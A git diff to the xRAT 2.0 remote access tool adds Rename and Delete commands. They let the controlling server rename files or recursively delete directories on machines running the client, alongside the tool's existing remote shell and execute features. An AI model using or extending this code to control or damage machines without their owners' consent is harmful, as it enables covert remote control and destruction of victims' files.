diff --git a/Client/Client.csproj b/Client/Client.csproj index 7bfed8ce..4fdded6d 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -68,6 +68,7 @@ + @@ -76,6 +77,7 @@ + diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 3544df96..b8ccff39 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -468,5 +468,35 @@ namespace Core.Commands shell = null; } } + + public static void HandleRename(Core.Packets.ServerPackets.Rename command, Core.Client client) + { + try + { + if (command.IsDir) + Directory.Move(command.Path, command.NewPath); + else + File.Move(command.Path, command.NewPath); + + HandleDirectory(new Core.Packets.ServerPackets.Directory(Path.GetDirectoryName(command.NewPath)), client); + } + catch + { } + } + + public static void HandleDelete(Core.Packets.ServerPackets.Delete command, Core.Client client) + { + try + { + if (command.IsDir) + Directory.Delete(command.Path, true); + else + File.Delete(command.Path); + + HandleDirectory(new Core.Packets.ServerPackets.Directory(Path.GetDirectoryName(command.Path)), client); + } + catch + { } + } } } diff --git a/Client/Core/Packets/ServerPackets/Commands/Delete.cs b/Client/Core/Packets/ServerPackets/Commands/Delete.cs new file mode 100644 index 00000000..230b265c --- /dev/null +++ b/Client/Core/Packets/ServerPackets/Commands/Delete.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Delete : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public bool IsDir { get; set; } + + public Delete() { } + public Delete(string path, bool isdir) + { + this.Path = path; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/ServerPackets/Commands/Rename.cs b/Client/Core/Packets/ServerPackets/Commands/Rename.cs new file mode 100644 index 00000000..d396aea2 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/Commands/Rename.cs @@ -0,0 +1,30 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Rename : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public bool IsDir { get; set; } + + public Rename() { } + public Rename(string path, string newpath, bool isdir) + { + this.Path = path; + this.NewPath = newpath; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Program.cs b/Client/Program.cs index fcd4db7b..4fe93817 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -82,6 +82,8 @@ static class Program typeof(Core.Packets.ServerPackets.Update), typeof(Core.Packets.ServerPackets.Monitors), typeof(Core.Packets.ServerPackets.ShellCommand), + typeof(Core.Packets.ServerPackets.Rename), + typeof(Core.Packets.ServerPackets.Delete), typeof(Core.Packets.ClientPackets.Initialize), typeof(Core.Packets.ClientPackets.Status), typeof(Core.Packets.ClientPackets.UserStatus), @@ -236,5 +238,13 @@ static class Program { CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client); } + else if (type == typeof(Core.Packets.ServerPackets.Rename)) + { + CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename)packet, client); + } + else if (type == typeof(Core.Packets.ServerPackets.Delete)) + { + CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete)packet, client); + } } } diff --git a/Server/Core/Packets/ServerPackets/Commands/Delete.cs b/Server/Core/Packets/ServerPackets/Commands/Delete.cs new file mode 100644 index 00000000..230b265c --- /dev/null +++ b/Server/Core/Packets/ServerPackets/Commands/Delete.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Delete : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public bool IsDir { get; set; } + + public Delete() { } + public Delete(string path, bool isdir) + { + this.Path = path; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ServerPackets/Commands/Rename.cs b/Server/Core/Packets/ServerPackets/Commands/Rename.cs new file mode 100644 index 00000000..d396aea2 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/Commands/Rename.cs @@ -0,0 +1,30 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Rename : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public bool IsDir { get; set; } + + public Rename() { } + public Rename(string path, string newpath, bool isdir) + { + this.Path = path; + this.NewPath = newpath; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Forms/frmFileManager.Designer.cs b/Server/Forms/frmFileManager.Designer.cs index ef197830..ea957996 100644 --- a/Server/Forms/frmFileManager.Designer.cs +++ b/Server/Forms/frmFileManager.Designer.cs @@ -34,7 +34,11 @@ this.lblDrive = new System.Windows.Forms.Label(); this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components); this.ctxtDownload = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine2 = new System.Windows.Forms.ToolStripSeparator(); this.ctxtExecute = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtRename = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtDelete = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.ctxtRefresh = new System.Windows.Forms.ToolStripMenuItem(); this.imgListDirectory = new System.Windows.Forms.ImageList(this.components); this.botStrip = new System.Windows.Forms.StatusStrip(); @@ -43,7 +47,6 @@ this.tabFileExplorer = new System.Windows.Forms.TabPage(); this.tabTransfers = new System.Windows.Forms.TabPage(); this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); - this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.lstDirectory = new xRAT_2.Controls.ListViewEx(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -81,11 +84,14 @@ // this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.ctxtDownload, + this.ctxtLine2, this.ctxtExecute, + this.ctxtRename, + this.ctxtDelete, this.ctxtLine, this.ctxtRefresh}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(153, 98); + this.ctxtMenu.Size = new System.Drawing.Size(153, 148); // // ctxtDownload // @@ -95,6 +101,11 @@ this.ctxtDownload.Text = "Download"; this.ctxtDownload.Click += new System.EventHandler(this.ctxtDownload_Click); // + // ctxtLine2 + // + this.ctxtLine2.Name = "ctxtLine2"; + this.ctxtLine2.Size = new System.Drawing.Size(149, 6); + // // ctxtExecute // this.ctxtExecute.Image = global::xRAT_2.Properties.Resources.run; @@ -103,6 +114,27 @@ this.ctxtExecute.Text = "Execute"; this.ctxtExecute.Click += new System.EventHandler(this.ctxtExecute_Click); // + // ctxtRename + // + this.ctxtRename.Image = global::xRAT_2.Properties.Resources.textfield_rename; + this.ctxtRename.Name = "ctxtRename"; + this.ctxtRename.Size = new System.Drawing.Size(152, 22); + this.ctxtRename.Text = "Rename"; + this.ctxtRename.Click += new System.EventHandler(this.ctxtRename_Click); + // + // ctxtDelete + // + this.ctxtDelete.Image = global::xRAT_2.Properties.Resources.delete; + this.ctxtDelete.Name = "ctxtDelete"; + this.ctxtDelete.Size = new System.Drawing.Size(152, 22); + this.ctxtDelete.Text = "Delete"; + this.ctxtDelete.Click += new System.EventHandler(this.ctxtDelete_Click); + // + // ctxtLine + // + this.ctxtLine.Name = "ctxtLine"; + this.ctxtLine.Size = new System.Drawing.Size(149, 6); + // // ctxtRefresh // this.ctxtRefresh.Image = global::xRAT_2.Properties.Resources.refresh; @@ -188,11 +220,6 @@ this.imgListTransfers.Images.SetKeyName(0, "cancel.png"); this.imgListTransfers.Images.SetKeyName(1, "done.png"); // - // ctxtLine - // - this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(149, 6); - // // lstDirectory // this.lstDirectory.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) @@ -314,5 +341,8 @@ private System.Windows.Forms.ToolStripMenuItem ctxtExecute; private System.Windows.Forms.ToolStripMenuItem ctxtRefresh; private System.Windows.Forms.ToolStripSeparator ctxtLine; + private System.Windows.Forms.ToolStripSeparator ctxtLine2; + private System.Windows.Forms.ToolStripMenuItem ctxtRename; + private System.Windows.Forms.ToolStripMenuItem ctxtDelete; } } \ No newline at end of file diff --git a/Server/Forms/frmFileManager.cs b/Server/Forms/frmFileManager.cs index 707a60bb..6f7973b1 100644 --- a/Server/Forms/frmFileManager.cs +++ b/Server/Forms/frmFileManager.cs @@ -154,14 +154,57 @@ namespace xRAT_2.Forms } } - private void btnOpenDLFolder_Click(object sender, EventArgs e) + private void ctxtRename_Click(object sender, EventArgs e) { - string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + cClient.EndPoint.Address.ToString()); + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + if (files.SubItems[0].Text != "..") + { + string path = currentDir; + string newName = files.SubItems[0].Text; + bool isDir = files.Tag.ToString() == "dir"; - if (Directory.Exists(downloadPath)) - Process.Start(downloadPath); - else - MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK, MessageBoxIcon.Information); + if (path.EndsWith(@"\")) + path = path + files.SubItems[0].Text; + else + path = path + @"\" + files.SubItems[0].Text; + + if (InputBox.Show("New name", "Enter new name:", ref newName) == System.Windows.Forms.DialogResult.OK) + { + if (currentDir.EndsWith(@"\")) + newName = currentDir + newName; + else + newName = currentDir + @"\" + newName; + + if (cClient != null) + new Core.Packets.ServerPackets.Rename(path, newName, isDir).Execute(cClient); + } + } + } + } + + private void ctxtDelete_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + if (files.SubItems[0].Text != "..") + { + string path = currentDir; + bool isDir = files.Tag.ToString() == "dir"; + string text = string.Format("Are you sure you want to delete this {0}", (isDir) ? "directory?" : "file?"); + + if (path.EndsWith(@"\")) + path = path + files.SubItems[0].Text; + else + path = path + @"\" + files.SubItems[0].Text; + + if (MessageBox.Show(text, "Are you sure?", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + if (cClient != null) + new Core.Packets.ServerPackets.Delete(path, isDir).Execute(cClient); + } + } + } } private void ctxtRefresh_Click(object sender, EventArgs e) @@ -173,6 +216,16 @@ namespace xRAT_2.Forms } } + private void btnOpenDLFolder_Click(object sender, EventArgs e) + { + string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + cClient.EndPoint.Address.ToString()); + + if (Directory.Exists(downloadPath)) + Process.Start(downloadPath); + else + MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Forms/frmFileManager.resx b/Server/Forms/frmFileManager.resx index e0795270..01b80375 100644 --- a/Server/Forms/frmFileManager.resx +++ b/Server/Forms/frmFileManager.resx @@ -128,7 +128,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW - EwAAAk1TRnQBSQFMAgEBCwEAAbgBAAG4AQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCwEAAeABAAHgAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -223,7 +223,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE - CQAAAk1TRnQBSQFMAgEBAgEAATABAAEwAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAVgBAAFYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Forms/frmMain.cs b/Server/Forms/frmMain.cs index b7784523..288c925e 100644 --- a/Server/Forms/frmMain.cs +++ b/Server/Forms/frmMain.cs @@ -87,6 +87,8 @@ namespace xRAT_2.Forms typeof(Core.Packets.ServerPackets.Update), typeof(Core.Packets.ServerPackets.Monitors), typeof(Core.Packets.ServerPackets.ShellCommand), + typeof(Core.Packets.ServerPackets.Rename), + typeof(Core.Packets.ServerPackets.Delete), typeof(Core.Packets.ClientPackets.Initialize), typeof(Core.Packets.ClientPackets.Status), typeof(Core.Packets.ClientPackets.UserStatus), diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index e3da50fb..eb6ed5d3 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -100,6 +100,16 @@ namespace xRAT_2.Properties { } } + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// @@ -290,6 +300,16 @@ namespace xRAT_2.Properties { } } + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap textfield_rename { + get { + object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index f4b899cf..a50ac947 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -117,33 +117,36 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - + ..\images\server-reconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\server.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\copy.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -151,45 +154,6 @@ ..\images\server-disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\server-add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\download.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\task-manager.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - xRAT 2.0 Copyright (C) 2014 MaxX0r @@ -219,4 +183,47 @@ By using this product you agree to everything specified above. + + ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\server-add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\download.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\task-manager.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + + ..\Resources\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/Server/Resources/delete.png b/Server/Resources/delete.png new file mode 100644 index 00000000..08f24936 Binary files /dev/null and b/Server/Resources/delete.png differ diff --git a/Server/Resources/textfield_rename.png b/Server/Resources/textfield_rename.png new file mode 100644 index 00000000..4e3688ed Binary files /dev/null and b/Server/Resources/textfield_rename.png differ diff --git a/Server/Server.csproj b/Server/Server.csproj index 5fb911c4..66c48223 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -85,6 +85,7 @@ + @@ -96,6 +97,7 @@ +